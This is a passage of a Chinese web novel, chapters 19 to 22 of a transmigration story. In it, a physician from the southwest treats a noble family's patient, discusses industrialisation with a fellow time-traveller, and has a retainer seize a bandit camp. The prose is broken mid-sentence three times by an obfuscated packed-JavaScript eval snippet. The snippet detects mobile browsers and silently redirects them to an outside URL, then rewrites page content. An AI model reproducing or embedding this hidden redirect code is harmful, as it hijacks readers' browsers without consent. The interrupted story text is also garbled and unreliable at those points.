原说蔺家在长安低调,也不过是在朝廷没怎么冒头,名下子弟常年出入各种宴会,结交不少朋友,只是这些世家子弟年少,也多不是嫡子不会继承家产,外人自当狐朋狗友由得他们胡闹。 民间对这些纨绔自然恨之入骨,可要说拿证据状告他们也是不敢的,大部分哑巴吃黄连有苦说不出。 就说今日纵马,从靖恭坊到朱雀大街一路,伤了不知多少人,坊内做生意的摊贩也倒了不少,但没人敢去报官,也不敢上门要赔偿,只当自己倒霉。 “从前他们在长安城内做过什么出格的事?”尚柒听到冯风的禀报,大抵和他猜的不错,可偏偏是蔺家少年领头,不由得叫他联想到背后是否隐藏着什么阴谋。 “打架斗殴是家常便饭,只是还不曾做过当街纵马的事,或许我再去一趟平康坊打探。”这样的纨绔,必然是平康坊的常客,若有不能言明的腌臜事,必然从平康坊下手打探最快。 “夜里可以去一趟,不要引起旁人注意。”蔺家和西南军队有姻亲的消息才散布出去,几位皇子的人估计都还没出长安地界,就迫不及待的准备下狠手了吗? 又或者说,纵马一事不过是蔺家倒台的铺垫,只等去西南的人马回来,就一起出手掀翻蔺家? “是。” 冯风一离开,尚柒就提笔将几位皇子的名字落在纸上,若是蔺家少年领人横冲直撞,他寻法子将这个消息送到蔺家对头手里,当真状告到皇帝面前,少说也要被扒成层皮。 偏偏背后可能是几个皇子下的手,都不必尚柒出手,蔺家多半会自食苦果,只是尚柒不太接受自己差点成了上流人物针锋相对下的无辜路人。 他迄今为止,还没得罪过几位皇子,就算要得罪,也只有四皇子一个苦主。 长安,权贵,难得让尚柒有点上进心,想要报复回去。 …… “尚柒说什么?”别此云一口清茶呛在嗓子里,不住的咳嗽几声才开口询问。 “尚东家说,想问问几位皇子打算如何对蔺家出手。”书墨递过手绢,叫公子擦一擦衣裳。 “无缘无故,他为何打探这个?”而且去西南的人马都没回来,要出手是否过早了些。 “来人说尚东家的马车在路上被一群世家子弟差点冲撞到了,为首的正是蔺家的少爷。”书墨却是没想明白其中弯弯绕绕,还以为尚东家是打算借几位皇子的手给蔺家一个教训。 别此云冥思片刻,嘴角勾了勾:“还当他是个泥人,这不是有几分气性。” “公子?” “蔺府看来要栽秧了,而几位皇子也不见得讨的了好。”别此云伸了个懒腰,尚柒帮他在西南屯兵,他作为合作者,总也要出些力才是,“着人去查查蔺府少爷纵马背后是谁捣的鬼?” 书墨领命退下,留的别此云一人躺在摇椅上,证据都没搜查到,就迫不及待的要对付蔺家,也不怕打草惊蛇。 希望不是太子那个蠢货的手笔。 19. 第 19 章 比别此云弄清楚是谁捣鬼更快一步的反而是别府送来的请帖,请帖不是以别此云的名字下的,而是别此云的兄长别景季。 虽然先前别此云着人给他送消息提醒过别府会请他上门治病,但他以为该是别此云下请帖,到底只给别此云看过风寒,纵然别景季有心叫他去看病,也得多试探试探。 哪想别景季不按套路出牌。 收了请帖,尚柒没有不去的道理,和别家打好点关系,日后他与别此云来往也不必藏着掖着,等西南事情上正轨,他找别此云的时候更多。 “别家有什么人身患顽疾吗?”尚柒询问冯风,别此云这家伙不靠谱,竟然不提前透露考题。 “这坊间不曾听闻,倒是别家和宫里不少太医交好,常请个太医上门堪平安脉。” 高门大户的府医力有不逮,就得宫里太医顶上,要说天底下谁最清楚各大门大户私下里的小毛病,只能是这群赚外快的太医。 “看来是不能明言的毛病。”尚柒想了想,大抵有几种猜测,中医也不是包治百病,且有些病,如肠痈,化脓后必须要开刀,就算他手里的神仙丸能够对付感染,他也治不了。 别此云既然没有阻拦,说明病情不算严重,至少死不了。 “备马,去别府。” …… 别景季下了请帖后,一直心绪不宁,其实该叫尚大夫多看诊几个病人再说请人来看病更稳妥,但又怕希望越大失望越大,不如干脆利落请人过来仔细看看。 “阿兄,今日怎么这样急躁。”别此云从外院进来,就见他平日端方有礼的兄长有失往常风度的在院里踱步。 “此云,这会怎么过来了?”别景季见小弟过来,露了个笑,往日里非得三请四请才愿意过来一趟的人,今日竟然没有跟老鼠见了猫似的躲开。 “听闻阿兄请了尚大夫过来看病,我就过来瞧瞧。” 听到小弟是为尚柒过来,别景季停在原地,神色携带了几分忧心:“此云与尚大夫关系颇好。” “上次尚大夫来看诊,聊过一会,私以为尚大夫为人品行端正,值得深交。”别此云故意不看他阿兄眼里的担忧,也不掩饰语气中的赞赏。 “便是品行端正,碍于身份,你也不要过多和他接触,若叫娘知道了,你恐怕没有躲闲的机会了。”别景季叹气,他当然知道小弟不想相看人家的事,左右小弟幼时身体不好,多在家留几年,家里又不是养不起,不必要如此催促。 “若尚大夫医术高超,娘只怕比我还要跟亲近尚大夫。”别家认识的大夫不少,但谁又嫌认识的好大夫多,除去自家人,亲朋好友有个三灾六病,也能请人看诊不是。 “你认为他能看好你嫂嫂的病?”别景季见别此云一副胸有成竹的模样,忍不住询问。 “阿兄话怎么只听一半,前面我可说了须得尚大夫艺术高超。”别此云不知道尚柒能不能看好嫂子的病,但从现代过来,不能看好也总有一二办法抑制。 别景季有叹了口气,还要再说什么,外头就有人禀报尚柒到了。 请人上门,别景季自然不会摆主人架子,三两步便出门去迎。 尚柒打入别府后,受接待的规格比上次高多了,上回打侧门进来,由门房领路,一路上半个人都没见过,不知道还以为尚柒是要上门做什么见不得人的事。 好在这回名正言顺,别此云的兄长也非是性子高傲的人,哪怕还没验证尚柒能治病,待人处事也极为舒服。 直到尚柒到别景季的院子,撞上了过来看热闹的别此云,二人只对视了一眼,便没继续做什么挑拨别景季神经的事。 病人早在厅房等着,张青浣听闻别景季请了个大夫上门要给她瞧病,心里也忐忑的不行,实在是她看过的大夫数不胜数,药也吃了不少依旧不见效。 这回的大夫听闻只给小弟看过风寒,具体什么本事都没见过就被请上门看诊,她是不报太大希望,奈何夫君想试试。 “夫君,这位就是尚大夫?”张青浣见到尚柒当面,努力维持假笑,瞧着不过十六七岁的毛头小子,怎么看都不像是医术高明的模样。 “正是,尚大夫自西南而来,是西南名医。” 别景季这话让尚柒的目光转向一旁的别此云,询问别此云他兄长竟然打听过他的名声? 别此云微不可闻的摇头,他哪里知道阿兄是否遣人打听过,不过几日功夫,去西南回来肯定来不及,多半是在京城找西南相熟的人问过。 如此也解释的通阿兄为何胆大妄为的请人上门治病。 “西南名医?”张青浣有些不敢置信,实在是因为人过于年轻,就是从娘胎里学医术也不过十几年,跟如今看病的老大夫们比起来差的远。 “不错,听闻尚大夫在西南看诊光是诊金都要千金,我占了小弟的便宜,方才请动尚大夫登门。”别景季是会打预防针的,先阐明尚柒和别此云有过交往是好友关系,再作为兄长没有反对人交往的意思,说明二人关系磊落。 千金?别此云回看尚柒,他知尚柒能够在西南方便行事肯定跟一手医术有关,不然地方豪强凭什么给一个农户子弟脸面,但看一次诊收这么高的价钱,确定不是饥饿营销? 当然不是,在活命面前,别说千金,万金也多的是人出钱,尚柒只有一个人,西南豪强数不胜数,哪怕其中一小撮生病他也看不过来,不定个千金的规矩,只怕每日都在看病去的路上。 张青浣显然也被千金的价格震慑住了,长安城里的太医出外诊也没见谁收千金的诊金,自然了,当真能够把顽疾治愈,只是千金也不算昂贵。 “劳尚大夫看诊了。”张青浣伸出手。 望闻问切,尚柒初见已经望过,对方气色还行,就是身形略有些消瘦,勘脉前,他原以为是来治不孕不育的,毕竟这事从古至今都很常见。 大户人家又看重子嗣,虽然没有皇位要继承,但金银财宝,权势名利也就比皇位差点。 甚至作为大世家继承家业的长子长孙,也不见得比皇子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15400989|168680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皇孙差,眼下世家和皇权还能分庭抗礼。 结果人明显已经是当娘了。 “左手。”尚柒勘脉并不快,面上也没露出什么表情,叫在场的另外三人心都提到嗓子眼了。 “每日饮食情况如何?”堪完脉,尚柒已经心里有数,情况不算太坏。 听到问饮食,别景季和张青浣不得不说松了口气,先不提尚柒能否治好张青浣的病,医术是不曾作假的。 “想必尚大夫也看出来了,我这病实在控制不住饮食,已经尽量少食多餐,却也时常饿的厉害。” “更衣情况呢?”消渴症时常会饿很正常。 “并不频繁,也不知为何明明饿的厉害,但不太喜欢饮水。” 尚柒又追问了几个问题,心下有了判断。 “这位娘子想必也看过不少大夫,知道自己什么病,正是消渴症中的一种,消中症,情况不算太严重。” “尚大夫的意思是可以治好?”张青浣语气中掩盖不住喜悦,实在是没有一个大夫敢在她跟前明说这病治的好,她只当是不死的绝症了。 “可以,娘子情况并不严重,消渴症又分消渴、消中和消肾,前两者能治好,后者不行。”尚柒不打没把握的仗,“我先开个方子,娘子先服用三副,之后我在过来勘脉。” “如此,多谢尚大夫了。”别景季也没想到尚柒当真能治,语气中不免带有几分欣喜,“对了,尚大夫要写药方,请跟我到书房来。” 尚柒点头跟着别景季走了,留的别此云照看张青浣。 “嫂子,病能治好是好事,该高兴才是。”别此云走过去递了一方手帕。 “是喜极而泣,我原以为这位尚大夫又是哪里招摇过来的神棍,诊金千金那都是道士炼的神仙丹卖的价。” 道士自古以来就有,历朝历代皇帝都在宫里供奉过几位仙长,大部分道士下场都不太好,可人家得宠的时候,一丸丹药赏赐千金都是少的。 民间百姓驱鬼做法的时候也请道士和尚,有时候百姓病了不请大夫反而去神婆之类的地方,请一碗符水治病,也可看出大历迷信市场广大。 “嫂子哪里话,我常年在道观,对道士炼丹的东西也知一二,若是尚大夫真是神棍,必然逃不开我的眼睛,哪里能让他到阿兄面前卖弄。”别此云估计尚柒也是会画符的,但会不会炼丹就不知道了。 “是了,你阿兄说尚大夫是你的友人,可是在道观结识的?”张青浣问的不经意,心弦却绷紧。 “是替阿翁寻寿礼是认识的,只见过两回,难得为人处事不惹人厌烦,还当不得朋友。”别此云面不改色,叫张青浣没看出半点异常。 “如此么,也当是缘分。”张青浣没开口叫别此云少接触尚柒,她在府里帮着婆母做事,待人处物也是学了十乘十。 眼下尚大夫借由小叔子的干系才登门勘脉,转头叫小叔子和尚大夫断了联系,确有卸磨杀驴之嫌,只是二人间万万不能合两姓之好,如此只能日后多盯着些了。 20. 第 20 章 药方写好,别景季再三请尚柒留下用饭,尚柒推脱不过只得留下,别景季夫妻二人招待极为热络,也半点不留空隙,即便和别此云同处一室,两人压根没有说上话的机会。 好在偌大的别家也不是无所事事,半道张青浣被人请去处理家事,随后别景季也被老太爷请过走,不得已还是由别此云招待尚柒。 “你该早些告诉我才是。”尚柒自认为医术不算顶尖,且许多病知道治疗药物,碍于时代技术原因无法制造药物,也跟没得治没什么区别。 “我原以为阿兄请你上门,是要先试试你的本事,我也没想到竟然会直接让你给嫂子看病。”而且,他也没想到尚柒医术当真如此厉害。 “也是运气好,真要是消肾之症,几十年内没希望。”一般糖尿病需要注射胰岛素,现代胰岛素主要是从牛猪身上提取,但知道这些没用,技术手段太落后,真随意弄出来也不敢给人用。 “几十年?现在连橡胶都没有,指望几十年能跨步到工业社会都够呛。”大历还是农耕时代,一点高兴科技都见不着,最厉害的工匠也不过是在木头铁器上做文章。 “就像有橡胶我们就知道怎么用一样?”尚柒不得不提醒别此云,他们两人应该没有完整的工业体系知识。 “原本这些东西也是从无到有制造出来的,大历人口四千多万,就算万中无一的天才,也有四千多个,总不会全都没有办法。”更不说比起最初制造这些东西的人全摸瞎,他们还能提供一点方向上的建议,聊胜于无。 “也对,所以你有船出海吗?”想开启工业时代,也不一定要橡胶,毕竟工业革命两个标志性事件是珍妮纺纱机和瓦特改良蒸汽机。 但之后许多应用都跟橡胶有关,尤其是密封性上,大批量制造蒸汽机使用橡胶密封才能降低成本,不然全用黄铜,成本居高不下不说,安全性也不能保证。 “时下的船能出外海,却没法横跨远洋,比起走海洋我更倾向于走陆地。”造船非一朝一夕能成的,更不说要造能横跨大洋的船只,不光别此云没有经验,本地工匠也都只能抓瞎。 慢慢尝试别此云又等不了,只能一边先想怎么造能远航的大船,一边从陆地上想办法突破。 “双管齐下吧,毕竟走陆路没个三五年也不一定能寻到。”不过看情况,说不得大历那时候已经乱成一锅粥了。 “反正情况不会比现在更差。”前途虚无缥缈没关系,总归有盼头,而且他也不是孤军奋战。 “我要的情报有消息了吗?”想要一口气将农业时代转型成工业时代,压根没可能,尚柒浅谈后又问起当下的要事。 “我也不是什么许愿王八,只你知会一声就能把事办好,尤其你这事还涉及了上面的人,总要给我点时间。”他在长安建立的情报组织还没到能安插到各王府的地步,就算王府里真有他的探子,人也不可能做到心腹的地步,这等秘事只能根据蔺府少爷在靖恭坊马球场行事慢慢查。 “别公子金质玉相,可跟王八搭不上关系。”尚柒好心情的同人开玩笑。 “大差不差,西南呢?”别此云自打尚柒说要在西南帮他忙,之后便没收到尚柒对西南情况的汇报。 “没那么快,总要先打好地基。”山寨都没建好,怎么把抢来的人安置妥当?他们是去抢几千青壮,就是几千只兔子也不是说抓就抓的。 别此云也知道自己心急了,眼下这个情况不急不可能,但着急也没用,只能自己调理。 “对了,你先前说你有一处私观在长安郊外?”想起答应尚乌桕要带人上山采药的,但一直被其他事故牵绊,都要忘了这回事。 “嗯,据长安半日车程,怎么,你想去道观参观?”别此云不认为尚柒也有修道的想法。 “道观有什么好参观的,我又不求神拜佛,去了还怕冒犯,只是我答应我弟弟带他去山上采药,但听闻长安郊外的山都有归属,为了不惹事只能寻到你头上。”长安也就这点不好,什么地头都有归属。 “清闲观的山头的确在我名下,你们想去只管寻书墨就是,观里也能留宿。”这点小事别此云答应的痛快。 “这处私观既然在别家跟前过了明路,应该没有藏什么东西?”尚柒判断过别此云的生意,就说青麦酒,要酿酒粮食必然少不了,大量买卖粮食容易被官府盯上,为了不被找麻烦,多半自己名下有庄园种麦。 且庄园面积还不小,大抵不在长安郊外,但也离长安不会太远,顶多几日的车程。 “自然是有的,我常年在道观修行,大部分事物也都在道观处理,为了不泄露秘密,道观里都是我养的杀手,尚大夫若去,可要小心些。” “男杀手还是女杀手?”尚柒非但没有被吓住,眼睛里还有几分跃跃欲试。 “……怎么?对杀手情有独钟,想要来段救赎之恋。”别此云眯着眼睛,似乎在考虑尚柒当真想找个杀手恋爱,他还能不能和人合作下去。 “怎么这么想?我只是没见过大户人家养出来的杀手?或者说死士更准确,恰巧我也会几分武艺,想找人比试比试。”尚柒无所畏惧的对上别此云的眼睛,看来别公子平日没少看一些稀奇古怪的小说。 “那问男女做什么?”别此云将信将疑,大历常服都是宽大设计,尚柒瞧着还不足十八,个子倒是比他高,但身材如何还真一眼看不出来。 若非是尚柒说他会武艺,别此云还当人是个文弱书生。 “随口一问,再说是男是女有什么关系,我这人又不看性别谈恋爱。” 别此云闻言想了想,也是,尚柒顶上也没有长辈,自己又是现代过来,没有什么必要传宗接代的封建念头,对象是男是女的确无所谓。 “你若想找人比试,我会让书墨安排。”别此云手里的侍卫武艺都是不差的,不然也不能把青麦酒卖到大历各地还全身而退。 做生意,尤其是长途生意,路上意外情况太多,青麦酒赚钱是有眼睛就能看出来的,除开路上原就有的土匪,做生意的同行、没钱的官府都可能出手,商队走一趟被拦路打劫是家常便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15400990|168680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 饭。 “看来道观是没有杀手了?”尚柒双目含笑的看着别此云,显然人一开始也知道别此云故意吓唬。 “我也没那么喜欢杀人。”别此云小声嘀咕。 “公子,大少爷和少夫人回来了。”在外头放风的琴砚不紧不慢的过来提醒。 “怎么连你兄长的院子也被你渗透的四面漏风?”尚柒知道别此云敢在别景季的院子同他说这些话,肯定是有完全准备,但瞧着琴砚如鱼得水在别景季院子行动,又叫尚柒对别此云无孔不入的本事更青眼相待。 “阿兄和嫂子离开,院子最大的是我,我叫琴砚在外候着,他们自然不会过来打扰。” “你阿兄和嫂子就放心你我独处?” “当然不放心,但青天白日,房门也是大打开,你我不过规矩闲谈几句,我还替阿兄招待了你,就是我娘在这儿,也挑不出错。” 客人到家,没人招待是很失礼的事情,偏巧今日阿兄和嫂子都有不得不离开的缘由,真要说他和尚柒独处一室不合规矩,不如先算算阿兄和嫂子冷落客人有失礼数。 “他们有事不是你背后做的吗?”尚柒不信好好的两个人搁一块没空。 别此云不答,反而是气定神闲的喝茶,等着别景季和张青浣进屋。 要说不愧是大家出身,别景季和张青浣因为一时不得空怠慢了尚柒,之后招待尚柒用饭,实在热情不过,离开的时候还贴心了送上了诊金。 自然没有千金,一般世家子弟用大钱都要走公账,私下产业也有,但一口气很难筹集这么多钱。 或许等药方初见成效,后续的诊金会送到府里。 至于送别时别此云瞧着尚柒赚钱如此容易,眼中是否有酸溜溜的嫉妒尚柒就不知道了。 回到府里。 尚柒先是叫来尚乌桕,告诉他终于能出城采药的好消息。 “那阿兄准备什么时候去,明天?后天?总不能又是过几日得空吧?”尚乌桕可是看清了他阿兄,真要忙能一直不得空。 “明天也可以,后天也可以,看你安排。” 难得尚柒大方,尚乌桕却是一脸怀疑,每次阿兄好说话的时候,总会有一个坑在等着他。 “不去?”尚柒可不跟人解释这次这么爽快,是因为他想见识大户人家养出来的部曲身手。 “当然要去。”尚乌桕放弃探究阿兄挖了什么坑,总归真要是有坑,他不跳也得跳,不如痛快些,还能去山上逛逛,“对了,阿姊要去吗?” “夜里南枝回来我问问,不过近来羊毛的事还有的忙,应当没空。”反正清闲观就在山里,这次没去成下次去也成。 “行,我这就去收拾东西。”尚乌桕兴匆匆的跑走,可见孩子在家憋久了也不成。 奈何最近长安城也没什么热闹的活动,高雅一点的他们家也插不进去,连曲江池和乐游原他都还没带两个小的去过。 等把蔺家的事办妥,估计羊毛的买卖也走上正轨了,到时候得带两个小的好好逛逛长安城。 21. 第 21 章 要说长安郊外也是春日出门踏青的好去处,在城里憋久了的世家子弟常吆五喝六带一群人去郊外纵马游玩,来往权贵多了,连长安城外的官道都格外整洁。 要知道官道一向维护费用不菲,加上长安官道每日来往的商队人群更是数不胜数,换作州府的官道必定是坑洼不少,只要还看得过去当地官府一向是不管的。 尚家的马车赶在天刚亮不久出的城,按书墨说,午时之前就能到清闲观。 一路上尚乌桕时不时掀开车帘看外面的景色,沿道良田里栽种的粮食都长出半高的青苗,光瞧着就知道能够丰收,关中沃土名不虚传。 “近些日子越发热了,还是早上凉快些,阿兄咱们要去几日?”尚乌桕年纪小,大热天也能顶着太阳玩一整日,阿兄就不行了,往年这个时候,家里已经开始取冰窖的冰出来纳凉了。 “三日。”若说今日去明日归,尚乌桕定然玩不尽兴,左右山头里有住的地方,多留几日也不妨事。 尚乌桕闻言嘻嘻笑出声:“多亏我机灵,带了换洗衣裳。” 不然这么热的天,三日不换洗,人都要发臭了,阿姊最不喜欢一身汗味,没来多半也有这个原因。 “看来你早就准备多留几日。”尚柒对小弟的心思还是摸得透,这家伙出了长安城跟脱缰的野马没什么区别,他若不看着点,保管闹出大事。 “一直在府里很无聊。”往日在长平村他上蹿下跳自在惯了,也有陪着一起发泄精力的小伙伴,阿兄自然没被他折磨过。 “苏家小郎不是时常上门,巷子里的玩伴也日日陪你疯闹,还不够?”跟人玩闹的时候可看不出哪里无聊。 “玩久了也难免厌倦,昨日下午听闻我能出长安,巷子里的小孩都羡慕的不得了,也就是苏长屿忙着学业,还不知道我今日出城。”尚乌桕自认为不是喜新厌旧的人,但千篇一律的日子过久了,还是想找点新鲜,“阿兄,我们这回出去挖药材的时候能不能顺道挖点野菜回去。” “西南和长安的野菜不一定长的一样。” “也是,但我认识的野菜多,总有一样能在长安长。”明摆着尚乌桕对野菜的兴趣很大。 “随便你。”也不是什么大事,这点小事尚柒一向是对弟弟妹妹放任自流。 之后的路上,尚柒便一直听尚乌桕叽叽喳喳,若非是马车在清闲观门口停下,指不定还要说到什么时候去。 观门口,书墨早就过来候着了,等到了尚柒便领人进了道观,观里也有修行的道长和一些道童,都靠别此云养着,平日只顾念着修行,道观里发生的事一概不会过问。 看来都是深喑不管闲事的道理。 “后院都是公子的地盘,平日除开洒扫的时辰不会有外人过来,我已经为尚东家和尚小公子安排好了住处,若有什么需求,只管寻我就是。”显然留在道观几日都由书墨暂代别此云招待。 清闲观虽然是私观,但占地也不算小,留给公子的后院更不必提,除开公子平日住的屋子不能腾出来,其余随便收拾两间都能安置人。 “树下平日放摇椅?”尚柒只略微看了看院子,就发现了痕迹,难怪别此云常年都乐意在道观度日。 “公子有时喜欢在树下看书休息,近来公子在长安不方便出来,摇椅便遣人送回房了,尚东家要是喜欢,只管吩咐一声。” “不必麻烦,这几日我们多半都要在山上,恐怕体会不到别公子的闲情逸致。”还道别此云在道观整日忙碌生意,不想也是个懂的享乐之人。 到了客房,等尚柒刚收拾好携带的行礼,尚乌桕便鬼鬼祟祟的在门口探出脑袋。 “有什么想问的?” “阿兄和这位别公子是什么关系?”尚乌桕到清闲观后,一直忍着没说话,听阿兄和一位漂亮哥哥交谈,明里暗里都透露阿兄和这位别公子关系非同一般。 “你认为是什么关系?”尚柒挑眉,还道尚乌桕能忍多久。 “你不说我怎么知道。”尚乌桕振振有词,也非是他没有想歪,只是阿兄在长平村交往的姑娘哥儿也不少,要说都与阿兄什么暧昧关系,实在是对阿兄品行的质疑,所以尚乌桕怕这位别公子和阿兄又是什么志同道合的生意关系,哪里敢断言。 “故交。”要说朋友还有点勉强,合伙人更适合一点,但说了只怕这小哥儿也听不懂。 “哪里来的故交?咱们家还有在长安的亲戚?”尚乌桕明摆着不信,尚家往上数几代都是长平村的农户,而在尚家发家前走出去的长平村人,更是寥寥无几。 撑死了也就去礼县安家,逢年过节还要回村祭祖扫坟,从没听说有人去长安的。 “我的故交。” “神神秘秘。”尚乌桕不满尚柒避重就轻,“我也不是要阿兄你真的给我一个交代,只是想着万一这位别公子以后会成为我嫂夫郞,我得早点和人打好关系。” “为什么?”尚柒可是晓得尚乌桕不是个喜欢讨好人的性子。 “当然是因为这位别公子很有钱。”能够在长安有一座山头的人,说是富得流油也不为过,他光靠阿兄给的那点零花度日艰难,要是未来嫂夫郞有钱,就可以在惹阿兄生气的时候求嫂夫郞接济。 “我也不穷。”尚柒敲了敲尚乌桕的脑袋,一天到晚钻钱眼里去了。 “可阿兄没办法在长安买下一座山头。”长安郊外的良田山头紧俏的很,大世家一向是多多益善,多少都能吃下,小世家或是在长安为官的寒门想要立足,也需要田地,寻常百姓就是有钱也在长安买不到田地和山头。 “说不准以后长安的山头都归我。”尚柒轻描淡写的打趣。 “那得花多少钱?” “说不好。”尚柒拍了拍尚乌桕的肩膀,“走吧,午食估计准备好了。” 尚乌桕跟在阿兄身后,总觉得阿兄话里有话,长安山头这么多,怎么可能都归阿兄所有,就是皇帝都不敢这么说。 不过阿兄一向喜欢把真话当玩笑话讲,说不得阿兄真有这个本事,至于怎么做到,他想不出来等回去问问阿姊。 ———————— 西南。 蔺肃因为尚柒的一封信打礼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15400991|168680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 县到了应州,西南多山,找一个屯兵之所并不难,只是黔州山势险要,真把兵力放在黔州,不好调动,且长安过来的物资送进来也费时费力。 所以蔺肃和宋月隐初定应州,应州山匪不少,但都是小打小闹,遇上二三十人一行的商队基本不敢出手。 想要在应州拿下一处山寨不难,更不说蔺肃此次过来带的都是商队好手,里头有不少都是镖师出身,有对付山匪的经验。 “五千精兵,每日粮食消耗是个大问题,最好山上也能开辟一些田地,平日能够让兵丁闲时耕作。”蔺肃没养过兵,但这几年因为尚柒的缘故,时常和西南边军做生意,有时候也会去军营送药材,对军营里的情况也了解一二。 “蔺管事,也别光惦记吃,五千人,光是拉撒都不是小问题,礼县城里也就五千人,咱们这是要建一座城池啊。”同行的手下砸吧嘴,豪气万丈的感叹。 “……西南边军几万人驻军的营地也没有礼县占地大。”这群莽汉,知不知道军营多少个弟兄挤一个营帐,礼县一家几口人住的屋子大小都能塞几十个兵丁进去了。 “那也不小,光靠土匪修的那点寨子占地肯定不够,还得招人手。”养人的事先不提,能提前把容人的寨子修起来,都费劲。 “人手现成的。”蔺肃当然知道光土匪修建的山寨,撑死了只能吃下几百人。 “哪来的人手?” 蔺肃闭上眼,好悬没气的破口大骂,早前他还认为东家要手下的人都学认字矫情,现在到了用人的时候才知道,手下没一个有脑子的人是什么痛苦遭遇。 “哪来的人手?各个土匪寨子打下来,难不成里面的土匪你们打算全杀了。” 要说当土匪的,手里或多或少都沾点血,穷凶极恶的肯定不能留,但有些愿意听话的还是能留下给他们做苦力。 “想差了,把应州的土匪都拿下,的确不需要招人手修寨子,蔺管事,咱们什么时候动手。” 瞧着手下的人说着就摩拳擦掌,恨不能立刻上山把土匪一锅端了,蔺肃觉得回去必须叫这群人认字的时候不能偷懒了,不然都是莽夫干什么事都凭借一头热,迟早出问题。 “明日。”亏得他们已经探查完这处山寨的情况,比起土匪一穷二白,他们手里都是有利器的,尤其是在尚家不会亏待他们吃喝,一个个膀肥腰园,光是站在原地,一些土匪都要吓的腿软。 打一座小山寨,不过眨眼的功夫罢了。 翌日。 情况也和蔺肃预料的大差不差,他们选的这处寨子里的土匪,都是寻常百姓出身,既不会武艺,也没有大部分绿林土匪穷凶极恶,只为首的几个汉子合力冲散打头的土匪,其余人就做鸟兽四散,被一个个全部逮了回来。 人都捆好,蔺肃就带着几个弟兄去了土匪的仓库,要不说寨子的土匪一合之力都没顶住,仓库里的东西老鼠来了都嫌弃。 “把人一个个审问完,就叫他们开始做事,山下的粮食也可以往上运了。”蔺肃出了仓库,也好,这么穷的土匪无论本性如何,总归翻不起什么花浪。 22. 第 22 章 “果然是私人山头,山里都不怎么见有人活动的痕迹。”尚乌桕走在山路上,山林树木茂密,时不时能看见小动物留下的粪便,猛兽倒是不见踪影。 想来是定时有人上山清剿,清闲观就在山腰,若山里真有猛兽,观里都哥儿,岂不是给猛兽作储备粮。 “人少不代表山里的药材多,长安气候和西南不一样,适宜生长的草木也不同。”尚柒换了一身干练的装扮,手里提着长棍,背后还背着弓箭,防止在山林遇上意外。 “总不会一株不长,过来的路上,我都在田埂边看到有紫苏草。”紫苏草既是野草,也是药材,能治不少病。 尚柒当然清楚,药材在各地分布情况不一样,主要因为气候温度湿度等等原因,西南能种很多药材,但尚柒主要种的还是一些常用药材。 稀有的药材,能种的尚柒都种了一点,但数量不多,主要都自己留着,外卖没太大的需求量。 还有一些不适合种植的,比如人参,尚柒也从别的地方收的有,尚乌桕这个年纪不至于说认识完《本草纲目》的药材,《神农本草经》大抵已经认完了。 上山采药,若非是安全问题,尚乌桕完全可以自个儿来,不过尚柒也不是白跟着,有些尚乌桕没在西南山上见过的药材,尚柒也会指一指,叫人挖出来带回去。 如此在山里待了一整日,方才赶在天黑前回到道观,晚食书墨已经差人备好,只管人回来就送过来。 道观有一点比和尚庙强,就是道士对吃喝方面没那么讲究,一般道士讲究四不吃,其余肉都是不禁的。 山里行走一日,即便是尚柒常年练武,也有些疲惫,回到道观再吃素,是个人都受不住。 “尚东家可算是回来了,若再不回来,我就要着人上山去寻你们了。”书墨见人平安归来,松了口气,纵然道观的山头定时有人清剿大型猛兽,却也怕有疏漏,伤了公子的客人他可就失职了。 “山林间药材不少,一时间走远了些,路上见到山林的兔子肥美,顺道打了两只。”山林打猎尚柒去的少,弓箭倒也会用,但不到百步穿杨的火候,能猎两只兔子回来,还多亏山上小动物多。 “原尚东家也会打猎,兔子今日是做不得了,我送去厨房叫他们明日做了给尚东家你们送过来。”书墨可半点没有对兔子怜香惜玉,因为林间野兔一直是个麻烦,猛兽被清剿,得益就是这些没了天敌的小动物。 兔子繁殖又快,全年都能生,先前没想到这茬导致有段时间山里都要出现兔灾了,打那以后,书墨再不觉得兔子可爱。 “都可以。”尚柒也不是一定要吃兔子。 “公子之前提过尚东家想和人试试武艺,我请了人明日上午过来,到时候还劳尚东家手下留情,别叫他们丢了颜面。” “你倒是会说话,叫我都怀疑你当真是别此云教出来的?他对我可是牙尖嘴利的很。”尚柒学武不是为了强身健体,而是想着世道危险,真遇上什么土匪人物可不会看在你有钱就放过你,所以学的格外认真。 除开上辈子一点家传武艺外,在大历他请了不少师父,多是战场退役的老兵,所以一身武艺不是花架子。 但也不曾自视甚高,世家养出来的侍卫,总会有过人之处,尚柒没见识过自己都不敢说能赢,到了书墨这里已经让他手下留情了。 想必,书墨也对过来和他比试的侍卫叮嘱过,万不能赢他。 